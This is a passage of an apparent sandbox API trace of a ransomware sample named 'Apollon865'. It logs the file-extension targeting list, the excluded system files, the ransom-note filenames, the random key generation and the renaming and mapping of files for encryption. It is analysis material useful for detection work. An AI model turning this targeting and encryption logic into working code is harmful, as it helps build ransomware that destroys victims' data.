	[0084.056] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0084.056] lstrlenW (lpString="nyf") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.056] lstrlenW (lpString="odb") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.056] lstrlenW (lpString="odb") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.056] lstrlenW (lpString="oqy") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.056] lstrlenW (lpString="ora") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.056] lstrlenW (lpString="orx") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.056] lstrlenW (lpString="owc") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.056] lstrlenW (lpString="p96") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.056] lstrlenW (lpString="p97") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.056] lstrlenW (lpString="pan") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.056] lstrlenW (lpString="pdb") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.056] lstrlenW (lpString="pdm") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.056] lstrlenW (lpString="pnz") returned 3
	[0084.056] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.056] lstrlenW (lpString="qry") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.057] lstrlenW (lpString="qvd") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.057] lstrlenW (lpString="rbf") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.057] lstrlenW (lpString="rctd") returned 4
	[0084.057] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0084.057] lstrlenW (lpString="rod") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.057] lstrlenW (lpString="rodx") returned 4
	[0084.057] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0084.057] lstrlenW (lpString="rpd") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.057] lstrlenW (lpString="rsd") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.057] lstrlenW (lpString="sas7bdat") returned 8
	[0084.057] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0084.057] lstrlenW (lpString="sbf") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.057] lstrlenW (lpString="scx") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.057] lstrlenW (lpString="sdb") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.057] lstrlenW (lpString="sdc") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.057] lstrlenW (lpString="sdf") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.057] lstrlenW (lpString="sis") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.057] lstrlenW (lpString="spq") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.057] lstrlenW (lpString="te") returned 2
	[0084.057] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.057] lstrlenW (lpString="teacher") returned 7
	[0084.057] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0084.057] lstrlenW (lpString="tmd") returned 3
	[0084.057] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.057] lstrlenW (lpString="tps") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.058] lstrlenW (lpString="trc") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.058] lstrlenW (lpString="trc") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.058] lstrlenW (lpString="trm") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.058] lstrlenW (lpString="udb") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.058] lstrlenW (lpString="udl") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.058] lstrlenW (lpString="usr") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.058] lstrlenW (lpString="v12") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.058] lstrlenW (lpString="vis") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.058] lstrlenW (lpString="vpd") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.058] lstrlenW (lpString="vvv") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.058] lstrlenW (lpString="wdb") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.058] lstrlenW (lpString="wmdb") returned 4
	[0084.058] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0084.058] lstrlenW (lpString="wrk") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.058] lstrlenW (lpString="xdb") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.058] lstrlenW (lpString="xld") returned 3
	[0084.058] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.058] lstrlenW (lpString="xmlff") returned 5
	[0084.058] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0084.058] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll.Apollon865") returned 81
	[0084.058] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0084.060] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.060] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=16736) returned 1
	[0084.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.061] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.062] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.062] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.062] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4460, lpName=0x0) returned 0x15c
	[0084.064] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4460) returned 0x100000
	[0084.065] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.066] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.066] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0084.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0084.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.066] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0084.067] CloseHandle (hObject=0x15c) returned 1
	[0084.067] CloseHandle (hObject=0x9c) returned 1
	[0084.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.067] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="..") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="windows") returned -1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="temp") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="boot") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="perflogs") returned 1
	[0084.067] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0084.067] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0084.067] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned 70
	[0084.068] lstrcpyW (in: lpString1=0x119e670, lpString2="VISBRRES.DLL.trx_dll" | out: lpString1="VISBRRES.DLL.trx_dll") returned="VISBRRES.DLL.trx_dll"
	[0084.068] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0084.068] lstrlenW (lpString="Apollon865") returned 10
	[0084.068] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0084.068] lstrlenW (lpString=".dll") returned 4
	[0084.068] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0084.068] lstrlenW (lpString=".lnk") returned 4
	[0084.068] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0084.068] lstrlenW (lpString=".ini") returned 4
	[0084.068] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0084.068] lstrlenW (lpString=".sys") returned 4
	[0084.068] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0084.068] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0084.068] lstrlenW (lpString="bak") returned 3
	[0084.068] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.068] lstrlenW (lpString="ba_") returned 3
	[0084.068] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.068] lstrlenW (lpString="dbb") returned 3
	[0084.068] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.068] lstrlenW (lpString="vmdk") returned 4
	[0084.068] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0084.068] lstrlenW (lpString="rar") returned 3
	[0084.068] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.068] lstrlenW (lpString="zip") returned 3
	[0084.068] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.068] lstrlenW (lpString="tgz") returned 3
	[0084.068] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.068] lstrlenW (lpString="vbox") returned 4
	[0084.068] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0084.068] lstrlenW (lpString="vdi") returned 3
	[0084.068] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0084.068] lstrlenW (lpString="vhd") returned 3
	[0084.068] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0084.068] lstrlenW (lpString="vhdx") returned 4
	[0084.068] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0084.068] lstrlenW (lpString="avhd") returned 4
	[0084.068] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0084.069] lstrlenW (lpString="db") returned 2
	[0084.069] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0084.069] lstrlenW (lpString="db2") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0084.069] lstrlenW (lpString="db3") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0084.069] lstrlenW (lpString="dbf") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0084.069] lstrlenW (lpString="mdf") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0084.069] lstrlenW (lpString="mdb") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0084.069] lstrlenW (lpString="sql") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0084.069] lstrlenW (lpString="sqlite") returned 6
	[0084.069] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0084.069] lstrlenW (lpString="sqlite3") returned 7
	[0084.069] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0084.069] lstrlenW (lpString="sqlitedb") returned 8
	[0084.069] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0084.069] lstrlenW (lpString="xml") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0084.069] lstrlenW (lpString="$er") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0084.069] lstrlenW (lpString="4dd") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0084.069] lstrlenW (lpString="4dl") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0084.069] lstrlenW (lpString="^^^") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.069] lstrlenW (lpString="abs") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.069] lstrlenW (lpString="abx") returned 3
	[0084.069] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.070] lstrlenW (lpString="accdb") returned 5
	[0084.070] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0084.070] lstrlenW (lpString="accdc") returned 5
	[0084.070] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0084.070] lstrlenW (lpString="accde") returned 5
	[0084.070] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0084.070] lstrlenW (lpString="accdr") returned 5
	[0084.070] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0084.070] lstrlenW (lpString="accdt") returned 5
	[0084.070] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0084.070] lstrlenW (lpString="accdw") returned 5
	[0084.070] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0084.070] lstrlenW (lpString="accft") returned 5
	[0084.070] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0084.070] lstrlenW (lpString="adb") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.070] lstrlenW (lpString="adb") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.070] lstrlenW (lpString="ade") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.070] lstrlenW (lpString="adf") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.070] lstrlenW (lpString="adn") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.070] lstrlenW (lpString="adp") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.070] lstrlenW (lpString="alf") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.070] lstrlenW (lpString="ask") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.070] lstrlenW (lpString="btr") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.070] lstrlenW (lpString="cat") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.070] lstrlenW (lpString="cdb") returned 3
	[0084.070] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.070] lstrlenW (lpString="ckp") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.071] lstrlenW (lpString="cma") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.071] lstrlenW (lpString="cpd") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.071] lstrlenW (lpString="dacpac") returned 6
	[0084.071] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0084.071] lstrlenW (lpString="dad") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.071] lstrlenW (lpString="dadiagrams") returned 10
	[0084.071] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0084.071] lstrlenW (lpString="daschema") returned 8
	[0084.071] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0084.071] lstrlenW (lpString="db-journal") returned 10
	[0084.071] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0084.071] lstrlenW (lpString="db-shm") returned 6
	[0084.071] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0084.071] lstrlenW (lpString="db-wal") returned 6
	[0084.071] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0084.071] lstrlenW (lpString="dbc") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.071] lstrlenW (lpString="dbs") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.071] lstrlenW (lpString="dbt") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.071] lstrlenW (lpString="dbv") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.071] lstrlenW (lpString="dbx") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.071] lstrlenW (lpString="dcb") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.071] lstrlenW (lpString="dct") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.071] lstrlenW (lpString="dcx") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.071] lstrlenW (lpString="ddl") returned 3
	[0084.071] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.071] lstrlenW (lpString="dlis") returned 4
	[0084.071] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0084.072] lstrlenW (lpString="dp1") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.072] lstrlenW (lpString="dqy") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.072] lstrlenW (lpString="dsk") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.072] lstrlenW (lpString="dsn") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.072] lstrlenW (lpString="dtsx") returned 4
	[0084.072] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0084.072] lstrlenW (lpString="dxl") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.072] lstrlenW (lpString="eco") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.072] lstrlenW (lpString="ecx") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.072] lstrlenW (lpString="edb") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.072] lstrlenW (lpString="epim") returned 4
	[0084.072] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0084.072] lstrlenW (lpString="fcd") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.072] lstrlenW (lpString="fdb") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.072] lstrlenW (lpString="fic") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.072] lstrlenW (lpString="flexolibrary") returned 12
	[0084.072] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0084.072] lstrlenW (lpString="fm5") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.072] lstrlenW (lpString="fmp") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.072] lstrlenW (lpString="fmp12") returned 5
	[0084.072] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0084.072] lstrlenW (lpString="fmpsl") returned 5
	[0084.072] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0084.072] lstrlenW (lpString="fol") returned 3
	[0084.072] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.072] lstrlenW (lpString="fp3") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.073] lstrlenW (lpString="fp4") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.073] lstrlenW (lpString="fp5") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.073] lstrlenW (lpString="fp7") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.073] lstrlenW (lpString="fpt") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.073] lstrlenW (lpString="frm") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.073] lstrlenW (lpString="gdb") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.073] lstrlenW (lpString="gdb") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.073] lstrlenW (lpString="grdb") returned 4
	[0084.073] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0084.073] lstrlenW (lpString="gwi") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.073] lstrlenW (lpString="hdb") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.073] lstrlenW (lpString="his") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.073] lstrlenW (lpString="ib") returned 2
	[0084.073] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.073] lstrlenW (lpString="idb") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.073] lstrlenW (lpString="ihx") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.073] lstrlenW (lpString="itdb") returned 4
	[0084.073] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0084.073] lstrlenW (lpString="itw") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.073] lstrlenW (lpString="jet") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.073] lstrlenW (lpString="jtx") returned 3
	[0084.073] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.074] lstrlenW (lpString="kdb") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.074] lstrlenW (lpString="kexi") returned 4
	[0084.074] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0084.074] lstrlenW (lpString="kexic") returned 5
	[0084.074] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0084.074] lstrlenW (lpString="kexis") returned 5
	[0084.074] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0084.074] lstrlenW (lpString="lgc") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.074] lstrlenW (lpString="lwx") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.074] lstrlenW (lpString="maf") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.074] lstrlenW (lpString="maq") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.074] lstrlenW (lpString="mar") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.074] lstrlenW (lpString="marshal") returned 7
	[0084.074] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0084.074] lstrlenW (lpString="mas") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.074] lstrlenW (lpString="mav") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.074] lstrlenW (lpString="maw") returned 3
	[0084.074] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
